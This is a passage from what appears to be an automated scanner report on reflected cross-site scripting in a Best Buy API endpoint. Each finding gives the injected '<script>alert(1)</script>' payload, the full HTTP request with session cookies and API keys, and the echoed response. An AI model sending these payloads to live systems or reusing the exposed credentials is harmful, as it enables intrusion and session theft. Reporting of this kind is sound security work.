Cookie: TLTSID=6D7B778A093D1009CE54B5FC8914D883; group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; DYN_USER_ID=ATG13342907254; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'SRCL','page':'Search%20Results','searchLastPage':'Search%20Results','lastCatId':'pcat17071'}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2F%22%2C%22pv%22%3A1%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A1%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%7D%2C%22f%22%3A1320669548308%7D; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.a=1320669567008

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web2.ATL
Etag: "8a7aba5812ca1b871fe18386e76372b6"
X-Runtime: 5
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2462
Date: Mon, 07 Nov 2011 12:40:47 GMT

SDSTATIC({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<YourApiKey> : 8880044, a
...[SNIP]...
t understand '/v1/products(digitalSku>\"\"&sku in(3302103,3439133,2731608,3439081,2620821,1854819,2126065,3548715,2928144,1894255,2622037,2893174,2928153,2121716,1854682))?dsku=true&show=sku,digitalSkub1aa8<script>alert(1)</script>611d4d02863&apiKey=tfuyteqkrnxfp3ye6kvpvk5e&callback=SDSTATIC&pageSize=99&format=json'",
"status": "400 Bad Request"
}
})

1.7. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 68790<script>alert(1)</script>9b5017eafb9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v168790<script>alert(1)</script>9b5017eafb9/products(sku%20in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1tVcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web3.ATL
Etag: "ff458aecb5913a561992a4d6335cc23d"
X-Runtime: 1
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2456
Date: Mon, 07 Nov 2011 12:54:27 GMT

busopsLow.BTP.retLoadBTPSKUs({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<Your
...[SNIP]...
<YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03"
],
"code": 400,
"message": "Couldn't understand '/v168790<script>alert(1)</script>9b5017eafb9/products(sku in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoad
...[SNIP]...

1.8. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 5fae9<script>alert(1)</script>d29c85d5ca0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(sku%20in(3302103)5fae9<script>alert(1)</script>d29c85d5ca0&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1tVcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web3.ATL
Etag: "3f729a77f911bbdb8f514f2b171ff2b6"
X-Runtime: 2
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2456
Date: Mon, 07 Nov 2011 12:54:30 GMT

busopsLow.BTP.retLoadBTPSKUs({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<Your
...[SNIP]...
<YourApiKey> : All stores within 10 miles of the latitude 38.89 and longitude -77.03"
],
"code": 400,
"message": "Couldn't understand '/v1/products(sku in(3302103)5fae9<script>alert(1)</script>d29c85d5ca0&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&forma
...[SNIP]...

1.9. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 660df<script>alert(1)</script>a7c8885631d was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(sku%20in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs660df<script>alert(1)</script>a7c8885631d&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1tVcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web2.ATL
Etag: "d2abcf4cd853adeb368e69e9fdd4319b"
X-Runtime: 52
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 485
Date: Mon, 07 Nov 2011 12:54:16 GMT

busopsLow.BTP.retLoadBTPSKUs660df<script>alert(1)</script>a7c8885631d({
"queryTime": "0.008",
"currentPage": 1,
"totalPages": 0,
"partial": false,
"from": 1,
"total": 0,
"to": 0,
"products": [

],
"canonicalUrl": "/v1/products(sku in(3302103)&(depart
...[SNIP]...

1.10. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 53de9<script>alert(1)</script>85594a46c93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(sku%20in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json&53de9<script>alert(1)</script>85594a46c93=1 HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1t